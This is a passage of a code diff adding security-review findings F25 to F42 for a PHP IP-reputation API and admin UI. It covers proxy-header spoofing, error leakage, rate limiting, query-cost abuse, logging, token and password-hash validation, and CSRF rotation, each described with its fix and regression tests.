+  - `ui/tests/Integration/App/CspHeaderTest.php` boots the full Slim
+    app and asserts: every response carries CSP, the layout
+    `<script nonce>` value matches the response header's
+    `'nonce-…'`, nonces rotate across requests, and no inline DOM
+    event handlers or `x-data="{…}"` object literals leak into the
+    rendered HTML.
+
+### F25 — Trusted-proxy XFF rewrite + `private_ranges` may allow `/internal/*` bypass
+- **Files:** `api/docker/Caddyfile:7-11, 50-62`,
+  `api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35`,
+  `docker-compose.yml:15-16`
+- **Risk:** Caddy is configured `trusted_proxies static private_ranges`,
+  so it honors `X-Forwarded-For` and rewrites `REMOTE_ADDR` whenever
+  the immediate peer is in any RFC1918 range. The api container's
+  port 8081 is published. In a deployment where another container on
+  the same docker bridge or a misconfigured host-iptables rule reaches
+  port 8081 from a 172.16/12 source, both the Caddyfile gate
+  (`remote_ip 127.0.0.1/32 ::1/128 ...`) and the PHP
+  `InternalNetworkMiddleware` see a forged source. The
+  `INTERNAL_JOB_TOKEN` is still required, but the network-layer
+  defense is bypassable on tenant-shared docker hosts.
+- **Severity: 2**
+- **Status:** Fixed. Three layers tighten the gate to loopback-only by
+  default; everything else has to opt in explicitly:
+  1. **Caddy `trusted_proxies` narrowed.** `api/docker/Caddyfile`
+     replaces `trusted_proxies static private_ranges` with
+     `trusted_proxies static {$TRUSTED_PROXIES:127.0.0.1/32 ::1/128}`.
+     With no env override, only loopback is treated as a "real proxy"
+     for XFF rewriting — so a non-loopback peer can no longer forge
+     `REMOTE_ADDR=127.0.0.1` via `X-Forwarded-For`. Operators behind a
+     genuine reverse proxy set `TRUSTED_PROXIES` to that proxy's CIDR.
+  2. **Caddy `@internal` matcher narrowed.** The `remote_ip` allowlist
+     for `/internal/*` is now `127.0.0.1/32 ::1/128` only — the wide
+     RFC1918 entries (`172.16.0.0/12`, `10.0.0.0/8`, `192.168.0.0/16`)
+     are gone. Mirrored on the opposite `not remote_ip` deny rule.
+  3. **PHP `InternalNetworkMiddleware` constructor-driven.** The
+     hardcoded RFC1918 list is gone; the constructor now takes an
+     optional CIDR list and falls back to
+     `DEFAULT_ALLOWED_CIDRS = ['127.0.0.1/32', '::1/128']`. The DI
+     container reads `INTERNAL_CIDR_ALLOWLIST` from env (parsed by a
+     new `parseCidrList()` helper that fails-closed on invalid input)
+     and passes the result to the middleware. Operators with a host-
+     cron VM on a private bridge add their CIDR via env and Caddyfile.
+  4. **Sidecar scheduler joins the api's network namespace.**
+     `compose.scheduler.yml` switches to `network_mode: "service:api"`
+     and `scheduler.crontab` posts to `http://localhost:8081/...`
+     instead of `http://api:8081/...`. The scheduler's call now
+     arrives on `127.0.0.1` inside the shared netns, satisfying the
+     loopback-only gate without weakening it for actual neighbours.
+     SPEC §7 ("Scheduling") and §6 ("Internal endpoints") updated to
+     match.
+  Regression tests in `api/tests/Unit/Http/InternalNetworkMiddlewareTest.php`:
+  the data provider now expects RFC1918 sources to be **rejected** under
+  the default; new cases cover (a) `null` / `[]` falling back to the
+  loopback default, (b) a custom `172.20.0.5/32` allowlist admitting only
+  that exact source, (c) invalid CIDRs failing-closed at construction,
+  and (d) the `parseCidrList()` env-parser accepting comma- and
+  whitespace-separated input while throwing on garbage.
+
+### F26 — JsonErrorHandler can leak raw exception messages in production
+- **File:** `api/src/Infrastructure/Http/JsonErrorHandler.php:53-82`
+- **Risk:** The "hide details in prod" guard fires only when status
+  ≥ 500. The `HttpException` branch returns
+  `[$e->getCode(), ['error' => $e->getMessage()]]` for codes anywhere
+  in 400–499 — attacker-influenced messages are returned verbatim.
+  The catch-all branch passes `$e->getMessage()` into the payload
+  and only overwrites it with `'internal error'` when status ≥ 500
+  AND `!expose`. Internal exception types (DBAL, PDO, parse errors)
+  whose `getCode()` happens to be in the 4xx range bypass
+  suppression and return raw messages.
+- **Severity: 2**
+- **Status:** Fixed in `ce77454`. `JsonErrorHandler` now maps every
+  HTTP status to a fixed `STATUS_TOKENS` lookup (`bad_request`,
+  `forbidden`, `too_many_requests`, …) and only emits that canonical
+  token in the `error` field. `Throwable::getMessage()` is no longer
+  echoed to clients in production for any branch — `HttpException`,
+  `HttpNotFoundException`, `HttpMethodNotAllowedException`, or
+  catch-all. Out-of-range `getCode()` (including the default `0` from
+  `new HttpException(...)`) is clamped to 500. Non-HttpException
+  Throwables always collapse to status 500 regardless of their
+  numeric code, closing the previous 4xx-bypass path. The raw
+  exception class + message are only added under a separate
+  `detail` key when `$displayErrorDetails` (Slim) or
+  `$exposeDetails` (dev env) is on. New unit-test suite
+  `JsonErrorHandlerTest` covers the canonical responses for
+  HttpNotFound/HttpMethodNotAllowed/HttpBadRequest/HttpForbidden/
+  HttpInternalServerError, the generic-Throwable 500 path, the
+  4xx-numeric-code-on-non-HttpException no-leak case, the clamp on
+  `code=0`, the unmapped-but-valid 418 fallback, the dev-mode
+  detail shape, and the per-request `displayErrorDetails` override.
+
+### F27 — `RateLimitMiddleware` is skipped when no principal is present
+- **Files:** `api/src/Infrastructure/Http/Middleware/RateLimitMiddleware.php:33-36`
+- **Risk:** The middleware bails out and forwards unrate-limited if
+  `$principal` is missing. Anything outside the public group
+  (admin/auth/internal/health/docs) receives no rate limiting.
+  Auth-failed paths (401 from `TokenAuthenticationMiddleware`) never
+  reach `RateLimitMiddleware` either — a client hammering with
+  invalid bearer tokens incurs DB lookups (and `last_used_at` writes
+  on hits) with zero backoff, pinning DB pool / connection budget.
+- **Severity: 2**
+- **Status:** Fixed in `060119a`. `RateLimitMiddleware` no longer
+  bypasses on missing principal; it now derives the bucket key from
+  whichever signal is present:
+    - principal attached → `token:<tokenId>` (post-auth, original
+      behaviour),
+    - principal missing  → `ip:<REMOTE_ADDR>` (pre-auth, new fail-closed
+      path; empty/absent REMOTE_ADDR collapses to a single
+      `ip:unknown` bucket so we never silently bypass).
+  `RateLimiter::tryConsume()` now accepts arbitrary string keys so
+  these namespaces stay independent — a single user's per-token bucket
+  cannot drain the per-IP bucket that throttles unauthenticated
+  traffic.
+
+  `AppFactory` registers `RateLimitMiddleware` twice on `/api/v1/*` and
+  `/api/v1/auth/*`: once as the outermost layer (runs before
+  `TokenAuthenticationMiddleware`, consumes from the IP bucket) and
+  once between `AuditContext` and the handler (consumes from the
+  token bucket once a principal is attached). The pre-auth position
+  is what closes the 401-bypass: invalid-bearer floods now hit the
+  IP bucket and 429 before the request reaches `tokens.findByHash()`.
+
+  Admin/internal/health/docs route groups still have no rate limit —
+  that is the scope of F29 (admin) and existing internal-network /
+  loopback gating, not this finding.
+
+  Tests:
+    - `RateLimiterTest::testTokenAndIpNamespacesDoNotShareABucket`
+      verifies the namespaces hold separate buckets.
+    - New `RateLimitMiddlewareTest` covers token-keyed buckets,
+      IP-keyed fallback, per-IP isolation, and the
+      missing/empty `REMOTE_ADDR` `ip:unknown` collapse.
+    - `RateLimitTest::testInvalidBearerTokenFloodIsRateLimitedBeforeAuth`
+      sends 20 requests with a junk bearer; the first 4 reach the
+      auth path (401), the rest 429 before any DB lookup.
+    - `RateLimitTest::testMissingBearerHeaderIsAlsoRateLimitedByIp`
+      covers the no-Authorization-header case on `/api/v1/blocklist`.
+
+### F28 — Rate limiter buckets are per-process, unbounded, and reset per replica
+- **File:** `api/src/Infrastructure/Http/RateLimiter.php:23-49`
+- **Risk:** `$buckets` is unbounded and never evicted (token churn
+  balloons memory in long-lived FrankenPHP workers). Multi-replica
+  deployments give an attacker a fresh bucket per replica — effective
+  rate is `(perSecond) * N_replicas` per token behind a non-sticky
+  LB. Idle/revoked tokens linger forever until container restart.
+- **Severity: 2**
+- **Status:** Fixed in `e09964b`. `RateLimiter` now caps the bucket map at a
+  configurable `maxBuckets` (default 10 000). Every `tryConsume()`
+  re-inserts the touched key at the end of the PHP array so insertion
+  order tracks LRU; on overflow the oldest entries get dropped in
+  batches of 256 so eviction amortises across requests instead of
+  running on every call once we're at steady state. A dropped bucket
+  comes back as a fresh full-capacity bucket on next access —
+  equivalent to the bucket having idled long enough to refill, so
+  eviction never grants more tokens than the configured rate would
+  already permit. The cap kills the unbounded-growth path and
+  short-circuits the "idle/revoked tokens linger forever" leak: once a
+  rotated/revoked token's bucket is the LRU front, the next eviction
+  drops it. The multi-replica half is a SPEC §10 topology constraint
+  (single-replica is the documented supported topology for the
+  limiter; horizontal `api` scaling requires sticky LB) and is tracked
+  separately as future scaling work to swap the in-process map for a
+  shared backend (Redis / DB). Regression tests in
+  `api/tests/Unit/Http/RateLimiterTest.php`
+  (`testBucketMapIsBoundedByMaxBucketsCap`,
+  `testEvictedBucketReturnsAtFullCapacityOnReuse`,
+  `testRecentlyTouchedKeyIsNotEvicted`,
+  `testMaxBucketsBelowEvictionBatchIsRejected`).
+
+### F29 — `/api/v1/admin/*` group has no rate limit
+- **File:** `api/src/App/AppFactory.php:188-337`
+- **Risk:** The admin group attaches `tokenAuth → impersonation →
+  auditContext` but not `$rateLimit`. Combined with F30 (slow
+  searchIps), F31 (deep-offset audit), and F32 (N+1 enrichment), any
+  compromised Viewer token (Viewer is the OIDC default role) can
+  issue unlimited heavy queries.
+- **Severity: 2**
+- **Status:** Fixed in `a997d65`. The admin route group now attaches
+  `RateLimitMiddleware` in the same two-position pattern used by the
+  public and auth groups (SEC_REVIEW F27): once as the outermost
+  layer (pre-auth, `ip:<REMOTE_ADDR>` bucket — throttles
+  invalid-bearer floods before TokenAuth queries the DB) and once
+  innermost (post-auth, `token:<tokenId>` bucket — caps an
+  authenticated Viewer driving the heavy admin queries flagged by
+  F30/F31/F32). The order added is
+  `rateLimit(token) → auditContext → impersonation → tokenAuth →
+  rateLimit(ip)` so execution runs `ip → tokenAuth → impersonation →
+  auditContext → token → controller`. Mitigates F29 directly and
+  bounds the impact of F30/F31/F32 until those land their own fixes.
+  Regression tests in `api/tests/Integration/Public/RateLimitTest.php`
+  (`testAdminRoutesAreRateLimited` — replaces the prior
+  `testAdminRoutesNotRateLimited` which encoded the bug as expected
+  behaviour — and `testAdminAuditLogIsRateLimitedPerToken`).
+
+### F30 — `IpScoreRepository::searchIps` allows full-table scan via `q=%X%`
+- **File:** `api/src/Infrastructure/Reputation/IpScoreRepository.php:146-307`
+- **Risk:** For any `q` value not matching `/^[\da-fA-F:.]+$/`, the
+  query degrades to `LIKE '%q%'`, forcing a full `ip_scores` table
+  scan + `GROUP BY ip_bin, ip_text` (no index supports a
+  non-anchored LIKE). At the SPEC's 50k-row target this is slow.
+  Pair with `min_score`/`max_score` HAVING and the LEFT JOIN on
+  `ip_enrichment` (joined whenever country or asn is supplied) and a
+  Viewer can drive pathological execution per request. There is no
+  statement timeout. Each request also runs a separate `COUNT(*)`
+  over the same wrapped subquery, doubling cost.
+- **Severity: 2**
+- **Status:** Fixed in `2cc1924`. `IpsController::parseSearchFilters`
+  rejects any `q` that doesn't match `/^[0-9a-fA-F:.]+$/` or exceeds
+  64 chars (IPv6 max is 39) with 400 `validation_failed`, so the
+  non-anchored substring path can no longer be reached from the API.
+  `IpScoreRepository::searchIps` drops the `%q%` branch entirely —
+  the only LIKE shape it ever issues is `s.ip_text LIKE 'q%'`, and
+  it re-validates `q` with the same regex as defence-in-depth so a
+  future caller cannot accidentally reintroduce a full-table scan.
+  Same change incidentally closes F46 (`%`/`_` wildcard injection in
+  the IPs search), since neither character survives the regex.
+  Pre-auth and per-token admin rate limits added under F29
+  bound the cost of even the legitimate prefix path. The remaining
+  `COUNT(*)` cost on deep filters is tracked under F31/F32.
+  Regression tests in
+  `api/tests/Integration/Admin/IpsControllerTest.php`
+  (`testSearchRejectsNonIpShapedQuery`,
+  `testSearchRejectsOverlongQuery`,
+  `testSearchQueryIsPrefixAnchoredNotSubstring`).
+
+### F31 — `AuditController` has no length cap, no max-offset cap, deep-offset scans
+- **Files:** `api/src/Application/Admin/AuditController.php:58-101`,
+  `api/src/Infrastructure/Audit/AuditRepository.php:68-129`
+- **Risk:** `action`, `entity_type`, `entity_id`, `subject_id` are
+  passed unfiltered. With `page_size=200` and large `offset`,
+  `LIMIT 200 OFFSET huge` causes a deep scan over `audit_log`. No
+  max-offset cap. `COUNT(*)` runs on every paginated request. A
+  logged-in Viewer can hit `?page=999999&page_size=200` to force
+  scans repeatedly.
+- **Severity: 2**
+- **Status:** Fixed in `3a2564d`. `AuditController::list` now bounds every
+  free-form filter (`action`, `entity_type`, `entity_id`,
+  `subject_kind`, `subject_id`) to `MAX_FILTER_LENGTH = 128` chars and
+  rejects any computed offset above `MAX_OFFSET = 10 000` with 400
+  `validation_failed` (`{"page": "pagination depth exceeded; use `to=`
+  to cursor into older rows"}`). The cap is large enough to
+  comfortably page through human-driven browsing (offset 10 000
+  covers 200 pages of 50 or 50 pages of 200) but bounds the
+  `LIMIT n OFFSET huge` worst case the finding describes. The
+  request-time `COUNT(*)` cost is bounded by the same gate — once a
+  Viewer can't drive offsets past 10 k, the count's cost is bounded
+  by the WHERE-clause's selectivity instead of by attacker choice;
+  the per-token admin rate limit added under F29 caps how often a
+  Viewer can issue these counts. Regression tests in
+  `api/tests/Integration/Admin/AuditLogControllerTest.php`
+  (`testOversizedFilterRejected`, `testDeepOffsetRejected`,
+  `testDeepOffsetAtBoundaryAccepted`).
+
+### F32 — Admin list endpoints execute N+1 enrichment lookups per page row
+- **Files:** `api/src/Application/Admin/IpsController.php:84-86, 187-190`,
+  `api/src/Application/Admin/AdminControllerSupport.php:67-77`
+- **Risk:** `IpsController::list` calls
+  `enrichment->findByIpBin()` and `effectiveStatusFor()` per row.
+  At `page_size=200`, that's 400+ DB roundtrips per request. With
+  no admin rate limit (F29), this amplifies query cost
+  significantly. Refactor to batch-load enrichment by ip_bin set.
+- **Severity: 2**
+- **Status:** Fixed in `0594305`. `IpsController::list` no longer issues per-row
+  lookups. Two new batch methods replace the inner loop:
+  `IpEnrichmentRepository::findByIpBins()` runs a single
+  `WHERE ip_bin IN (…)` SELECT and returns a bin-keyed map;
+  `IpScoreRepository::topCategoryByIpBins()` runs one
+  `score > 0 AND ip_bin IN (…) ORDER BY ip_bin, score DESC` SELECT
+  and groups in PHP. The third per-row call —
+  `EffectiveStatusService::forIp` — is replaced by
+  `effectiveStatusFromRow()`, which derives the `Scored` decision
+  from the search row's existing `max_score` column and reuses the
+  in-memory `CidrEvaluator` for the `Allowlisted` / `ManuallyBlocked`
+  checks (already O(1) hash lookups, loaded once per request). Net
+  cost drops from `2 + 3·page_size` round-trips per page (601 at
+  page_size=200) to 4: search + count, plus the two batch lookups —
+  invariant in page size. Combined with the per-token admin rate
+  limit added under F29 and the deep-pagination guard added under
+  F31, a Viewer can no longer drive query cost via either depth or
+  per-row amplification. Regression tests in
+  `api/tests/Integration/Admin/IpsControllerTest.php`
+  (`testSearchBatchesPerRowLookups`, `testSearchStatusUsesMaxScoreColumn`).
+
+---
+
+## Severity 1 — low / informational
+
+### F33 — `OidcClaims->email` is `?string` but `upsertOidc` types it as `string`
+- **Files:** `api/src/Infrastructure/Auth/UserRepository.php:65-71`,
+  `ui/src/Auth/JumbojettOidcAuthenticator.php:56-61`
+- **Risk:** Type-system finding rather than direct exploit; a TypeError
+  at the boundary on null email. Downstream merge-by-email tools could
+  later confuse two users since the OIDC primary key is `subject` but
+  some IdPs don't release `email`.
+- **Severity: 1**
+- **Status:** Fixed. `UserRepository::upsertOidc` now types `email` as
+  `?string` and the DBAL upsert persists `users.email = NULL` when the
+  IdP doesn't release the claim. `AuthController::upsertOidc` switches
+  to a `nullableStr()` extractor for `email` (missing / JSON-null /
+  empty string all collapse to `null`); `subject` and `display_name`
+  remain mandatory. The `user.created` / `user.role_changed` audit
+  rows fall back to `display_name` for `target_label` when `email`
+  is null, so SOC tooling still gets a human-readable identifier.
+  Regression tests in
+  `api/tests/Integration/Auth/AuthEndpointsTest.php`
+  (`testUpsertOidcAcceptsMissingEmail`,
+  `testUpsertOidcAcceptsExplicitNullEmail`,
+  `testUpsertOidcStillRejectsMissingSubject`,
+  `testUpsertOidcStillRejectsMissingDisplayName`).
+
+### F34 — Sensitive identifiers logged at INFO/WARN/ERROR
+- **Files:** `ui/src/Auth/LoginThrottle.php:79-90`,
+  `ui/src/Auth/OidcController.php:84`
+- **Risk:** Attempted usernames (which can include passwords typed in
+  the wrong field), source IPs, and OIDC subjects are logged in
+  plaintext. SIEM exports / log access by lower-trust operators
+  amount to accidental disclosure.
+- **Severity: 1**
+- **Status:** Fixed. New `App\Logging\LogIdentifier::fingerprint()` helper
+  produces a stable 12-hex-char SHA-256 prefix of any sensitive
+  identifier; an empty input collapses to the `empty` sentinel so log
+  matching doesn't fold an absent field into the SHA-256-of-empty
+  bucket. `LoginThrottle::recordFailure()` now logs `username_fp` and
+  `source_ip_fp` instead of the raw values on both the per-IP and
+  per-username buckets, on both the failure-with-no-lock and
+  lockout-triggered paths. `OidcController` logs `subject_fp` instead
+  of `subject` on the `user_disabled` denial and the no-role-assigned
+  branch. Triage by counting hits on a single fingerprint still works;
+  a SIEM reader no longer sees passwords typed in the username field,
+  raw client addresses, or IdP `sub` claims. (The fingerprint is not
+  cryptographic protection against an attacker with full log access
+  who is willing to brute-force a small space such as the IPv4
+  universe — that threat is out of scope for F34, which targets
+  accidental disclosure.) Regression tests:
+  `ui/tests/Unit/Logging/LogIdentifierTest.php`,
+  `LoginThrottleTest::testRecordFailureLogsFingerprintsNotRawIdentifiers`,
+  and the two new
+  `OidcFlowTest::test{NoneRoleDoesNotLogRawSubject,DisabledUserDeniedDoesNotLogRawSubject}`
+  cases (the latter exercised via a new `AppTestCase::captureLogs()`
+  helper that swaps in a Monolog `TestHandler`).
+
+### F35 — `INTERNAL_JOB_TOKEN` has no minimum-length enforcement at startup
+- **File:** `api/src/Infrastructure/Http/Middleware/InternalTokenMiddleware.php:35-47`
+- **Risk:** `hash_equals` is correct, but a misconfigured deploy with
+  `INTERNAL_JOB_TOKEN=foo` is accepted as long as it is non-empty.
+  Network gate (`InternalNetworkMiddleware`) limits exposure but
+  combined with F25 a docker-network neighbour can brute-force a
+  weak token. Validate at startup that the token is at least 32 hex
+  chars or refuse to boot.
+- **Severity: 1**
+- **Status:** Fixed. New `App\App\Config::validateOrExit()` (mirrors the
+  ui's `App\App\Config::validateOrExit`) runs from `api/public/index.php`
+  before `Container::build()`. It refuses to boot unless
+  `INTERNAL_JOB_TOKEN` matches `^[0-9a-fA-F]{32,}$`, writing a clear
+  human-readable error to STDERR and `exit(1)`-ing so the
+  misconfiguration crashes on `docker compose up` rather than serving
+  `/internal/*` to a docker-network neighbour with a weak shared secret.
+  32 hex chars = 128 bits of entropy; the `.env.example` documents
+  64 (from `openssl rand -hex 32`) and that remains the recommendation.
+  The middleware's own runtime branch
+  (`if ($expectedToken === '') { unauthorized; }`) stays in place as a
+  belt-and-braces defence-in-depth check for tests and for the
+  hypothetical case where a future call site builds the container
+  directly without going through `public/index.php`. Tests bypass the
+  validator (they call `Container::build($settings)` directly with
+  empty values), so the fix doesn't perturb `AppTestCase`. Regression
+  tests in `api/tests/Unit/App/ConfigTest.php` cover empty / missing-
+  key / short-hex / non-hex / 'foo' / 32-char-hex / 64-char-hex /
+  uppercase-hex, and a subprocess test asserts `validateOrExit()`
+  writes the error to STDERR and exits 1.
+
+### F36 — UI session role/identity is captured at login and never re-validated
+- **Files:** `ui/src/Http/AuthRequiredMiddleware.php:27-32`,
+  `ui/src/Auth/SessionManager.php:84-99`
+- **Risk:** If an OIDC user is removed from an admin group in Entra,
+  or a user record is deleted/disabled in the api, the existing UI
+  session continues to operate with the stale role until expiry
+  (8h idle / 24h absolute). No "revoke session by user_id"
+  primitive.
+- **Severity: 1**
+- **Status:** Fixed. `AuthRequiredMiddleware` now periodically
+  revalidates the cached `UserContext` against `GET /api/v1/admin/me`.
+  Cadence is configurable via `UI_SESSION_REVALIDATE_SECONDS` (default
+  300 seconds — 5 minutes); the middleware tracks the last revalidation
+  timestamp in a new `_revalidated_at` session slot owned by
+  `SessionManager`. Branches:
+  - **403 from the api** (`user_disabled` or `unknown impersonated user`)
+    → session cleared, error flash "Your access was revoked. Please
+    sign in again.", 302 to `/login`. The api's existing F11 disabled-
+    user path drives this from the server side, so `Disabled` /
+    deleted users are kicked off all live sessions within one
+    revalidation window.
+  - **404** → defensive same-as-403 (the api currently always returns
+    403 for missing/disabled users; treat 404 the same way for safety).
+  - **200 with changed role / display\_name / email** →
+    `SessionManager::updateUser()` rewrites the cached row but
+    preserves `_authenticated_at` / `_last_active` so the 8h idle and
+    24h absolute timeouts keep running off the original login.
+  - **200 unchanged** → just bump `_revalidated_at`.
+  - **api unreachable / 401 / 5xx / generic** → log a warning, mark
+    revalidated to avoid grinding on every request, and proceed with
+    the existing session. An api outage must not lock every live
+    session out, and the api itself is the authoritative gate on
+    every data call (it re-resolves the principal via
+    `X-Acting-User-Id` per request, F11), so a stale UI cache during
+    an outage cannot escalate privilege.
+  Pre-F36 ("legacy") sessions without `_revalidated_at` are
+  bootstrapped on first sight without an api call, so existing
+  rolling sessions don't all stampede the api on deploy. Tests:
+  `ui/tests/Integration/Auth/SessionRevalidationTest.php` covers
+  within-interval (no api call), past-interval-no-change,
+  past-interval-role-changed (admin → viewer is reflected
+  immediately), `user_disabled` and unknown-user kick paths,
+  api-unreachable-keeps-session, and the legacy-session bootstrap.
+
+### F37 — Local-admin password hash algorithm not validated at boot
+- **File:** `ui/src/Auth/LocalLoginController.php:42, 78`
+- **Risk:** No check that `LOCAL_ADMIN_PASSWORD_HASH` is Argon2id (or
+  bcrypt cost ≥ 12). An operator who passes `$2y$04$…` (cost 4) or a
+  legacy `$1$…` MD5-crypt string would have it accepted. Use
+  `password_get_info()` and refuse to enable local-admin if the
+  algorithm is below threshold.
+- **Severity: 1**
+- **Status:** Fixed. `App\App\Config::validateOrExit` (called from
+  `Bootstrap::run()` before `Container::build()`) now refuses to boot
+  when `LOCAL_ADMIN_ENABLED=true` and the configured
+  `LOCAL_ADMIN_PASSWORD_HASH` is anything other than Argon2id or
+  bcrypt with cost ≥ 12 (new `Config::BCRYPT_MIN_COST` constant). The
+  algorithm is read via `password_get_info()`, so unknown / legacy
+  formats (`$1$…` md5-crypt, `$5$…` sha256-crypt, plain text, base64
+  noise) all collapse into the rejection branch with the same
+  human-readable message pointing the operator at
+  `password_hash('…', PASSWORD_ARGON2ID)`. argon2i is also rejected
+  because it doesn't meet the SEC_REVIEW threshold even though
+  `password_hash` accepts it. Tests: bypass the validator (the
+  `Bootstrap::container()` test path is unchanged), so existing
+  fixtures continue to use Argon2id without ceremony. Regression
+  tests in `ui/tests/Unit/App/ConfigTest.php` cover Argon2id-accept,
+  bcrypt-cost-12-accept, bcrypt-cost-4-reject, argon2i-reject,
+  md5-crypt-reject, plain-string-reject, empty-string-reject, and
+  the "local admin disabled, hash not checked" branch (operators who
+  run OIDC-only don't have to invent a strong dummy hash).
+
+### F38 — Disabled local-admin returns 404 *before* throttle, allowing unrestricted hammering
+- **File:** `ui/src/Auth/LocalLoginController.php:60-62`
+- **Risk:** When `localAdminEnabled === false`, the controller 404s
+  with no rate-limit. Worker threads still serve the request — a
+  cheap DoS lever on environments with the local path disabled.
+- **Severity: 1**
+- **Status:** Fixed. `LocalLoginController::postLocal` now records a
+  `LoginThrottle` failure on the disabled-path branch before returning
+  the 404. The bucket key is `('', source_ip)` — an empty username
+  sentinel — so all hits from one source IP fold into the same per-IP
+  bucket regardless of what username field the attacker happens to
+  submit, defeating a rotating-username spray. Once locked, additional
+  hits skip `recordFailure` (the gate is `if (!isLocked) recordFailure`),
+  so the throttle file size is bounded by the lockout ladder rather
+  than by attacker request volume. The 404 status code is preserved on
+  both the locked and unlocked branches so the response doesn't leak
+  the lockout state to a probing attacker. Regression tests in
+  `ui/tests/Integration/Auth/LocalLoginTest.php`:
+  `testDisabledLocalAdminRecordsThrottleFailure` (5 hits with rotating
+  usernames from one IP trip the lockout) and
+  `testDisabledLocalAdminLockedHitDoesNotIncrementBucket` (50 more
+  hits while locked don't extend the lockout window).
+
+### F39 — Token base32 encoding has trailing-bit ambiguity
+- **Files:** `api/src/Domain/Auth/Token.php:18, 47`,
+  `api/src/Domain/Auth/TokenIssuer.php:26-43`
+- **Risk:** The encoder zero-pads the final 5-bit chunk, so the last
+  base32 char encodes only 4 useful bits — 32 possible last
+  characters decode to 16 distinct values modulo the unused bit.
+  No exploit found (lookup is by SHA-256 of the raw input), but the
+  parser should refuse base32 strings whose final character has the
+  unused bit set.
+- **Severity: 1**
+- **Status:** Fixed. The original review concern was based on the
+  visible `if (strlen($chunk) < 5) { $chunk = str_pad($chunk, 5, '0'); }`
+  branch in `TokenIssuer::base32Encode`. For the actual input —
+  `random_bytes(20)` = 160 bits — that branch was unreachable: 160 ÷ 5
+  = 32 with zero remainder, every base32 char in the 32-char output
+  carries a full 5 useful bits, and there is exactly one canonical
+  encoding per input. So there are no unused trailing bits and no
+  ambiguity in the existing scheme. The dead `str_pad` branch (the
+  source of the false-positive impression) is removed; the encoder
+  now hard-asserts `strlen($bytes) === 20` and throws
+  `InvalidArgumentException` otherwise, so any future caller that
+  passes a different length crashes loudly rather than silently
+  emitting a non-canonical / shorter token. The 20-byte length is
+  pinned via a new `TokenIssuer::ENTROPY_BYTES = 20` constant. The
+  parser (`Token::parse`) keeps its `^[A-Z2-7]{32}$` body pattern;
+  every 32-char base32 string is canonical for this scheme so no
+  additional canonicality gate is needed. Regression test
+  `TokenIssuerTest::testIssuedBodyAlwaysExactlyThirtyTwoBase32Chars`
+  asserts the invariant across 100 fresh issuances.
+
+### F40 — CSRF token never rotated on session-id regeneration
+- **Files:** `ui/src/Http/CsrfMiddleware.php:53-60`,
+  `ui/src/Auth/SessionManager.php:67-75, 77-82`
+- **Risk:** `regenerateId()` rotates `session_id` on login but the
+  `$_SESSION['_csrf']` token carries over across the privilege
+  boundary. A pre-auth token leaked via referer or a sub-resource
+  remains valid post-auth for the session lifetime. Standard
+  hardening: regenerate the CSRF token on login/logout. (`clear()`
+  resets `$_SESSION` to `[]` so logout is fine.)
+- **Severity: 1**
+- **Status:** Fixed. `SessionManager::regenerateId()` now also drops
+  the `_csrf` slot on both branches (HTTP `session_regenerate_id(true)`
+  and the CLI `rotateIdUnderCli` fallback). `CsrfMiddleware` lazily
+  mints a fresh token on the next request when the slot is missing,
+  and every call site of `regenerateId()` is followed by a 303 / 302
+  redirect (no template render in the same request), so the next
+  protected GET re-issues a clean token before any state-changing
+  request. `clear()` already wipes `$_SESSION` outright on logout, so
+  the rotate-on-id-rotate hook on `regenerateId` covers the login
+  direction; an attacker who scraped the pre-auth token via Referer
+  or a sub-resource leak cannot replay it post-auth. New `KEY_CSRF`
+  constant on `SessionManager` mirrors `CsrfMiddleware::SESSION_KEY`
+  to avoid a domain → http-layer dependency. Regression tests in
+  `ui/tests/Unit/Auth/SessionManagerTest.php`
+  (`testRegenerateIdRotatesCsrfTokenInCliMode` /
+  `…InHttpMode`) and end-to-end through Slim in
+  `ui/tests/Integration/Auth/LocalLoginTest.php`
+  (`testCsrfTokenIsRotatedAcrossLoginPrivilegeBoundary`).
+
+### F41 — Reporter / consumer `audit_enabled` is mass-assignable via PATCH
+- **Files:** `api/src/Application/Admin/ReportersController.php:178-184`,
+  `api/src/Application/Admin/ConsumersController.php:184-190`
+- **Risk:** Admin-gated, but an attacker with Admin can silently
+  disable `report.received` / `blocklist.requested` audit emission
+  for a reporter/consumer before performing further activity, then
+  re-enable. No special-class audit signal flags the toggle.
+- **Severity: 1**
+- **Status:** Fixed. Two new audit actions —
+  `AuditAction::REPORTER_AUDIT_TOGGLED` (`reporter.audit_toggled`) and
+  `AuditAction::CONSUMER_AUDIT_TOGGLED` (`consumer.audit_toggled`) —
+  fire from the PATCH handlers whenever `audit_enabled` actually flips
+  (no-ops, e.g. PATCHing the field to its current value, do not emit).
+  The standard `reporter.updated` / `consumer.updated` rows continue
+  to carry the full field diff for context, so existing observers
+  keep working; the new action is the flat alertable signal SOC
+  tooling can match on with `WHERE action IN ('reporter.audit_toggled',
+  'consumer.audit_toggled')` rather than walking into the metadata
+  `changes` blob. Both rows live in the same DB transaction as the
+  underlying update, so a partial commit cannot hide the toggle
+  while the field flips. The UI's `AuditController` filter dropdown
+  is extended to expose the new actions. Regression tests in
+  `api/tests/Integration/Admin/ReportersControllerTest.php` and
+  `…/ConsumersControllerTest.php`:
+  `testAuditEnabledToggleEmitsDedicatedAuditRow` (toggle fires both
+  rows; metadata records `from`/`to` booleans) and
+  `testAuditEnabledNoOpDoesNotEmitDedicatedRow` (PATCH with the same
+  value does not fire the dedicated signal).
+
+### F42 — UI policy proxy controllers rely entirely on API for role enforcement
+- **File:** `ui/src/Controllers/PoliciesController.php:61-118`
+- **Risk:** `previewProxy` / `scoreDistributionProxy` only check
+  `getUser() === null` and forward to the API with the session userId
+  as `X-Acting-User-Id`. Currently safe because API gates the
+  underlying endpoint to Viewer, but if the API role drifts the UI
+  silently allows access until an API 403 surfaces. Defense-in-depth:
+  enforce the role expectation in the UI controller.
+- **Severity: 1**
+- **Status:** Fixed. New `PoliciesController::PROXY_ALLOWED_ROLES =
+  ['viewer', 'operator', 'admin']` constant captures the api's
+  Viewer-or-higher gate. Both proxy methods now early-return 403 with
+  a `{"error": "forbidden"}` JSON body when the session user's role
+  isn't in that allowlist — covering `none`, the empty string, and
+  any unrecognised role string. The api is not called in that branch,
+  so a `none`-role session that somehow reached the protected
+  `/app/*` route group cannot use the proxy as a probe channel.
+  AuthRequiredMiddleware still intercepts truly-anonymous requests
+  earlier in the chain (302 → /login); the controller's own 401
+  branch is the defence-in-depth fallback for any future route
+  reshuffle that pulls the proxy out of `/app/*`. Regression tests:
+  `ui/tests/Integration/Auth/PoliciesProxyTest.php` covers
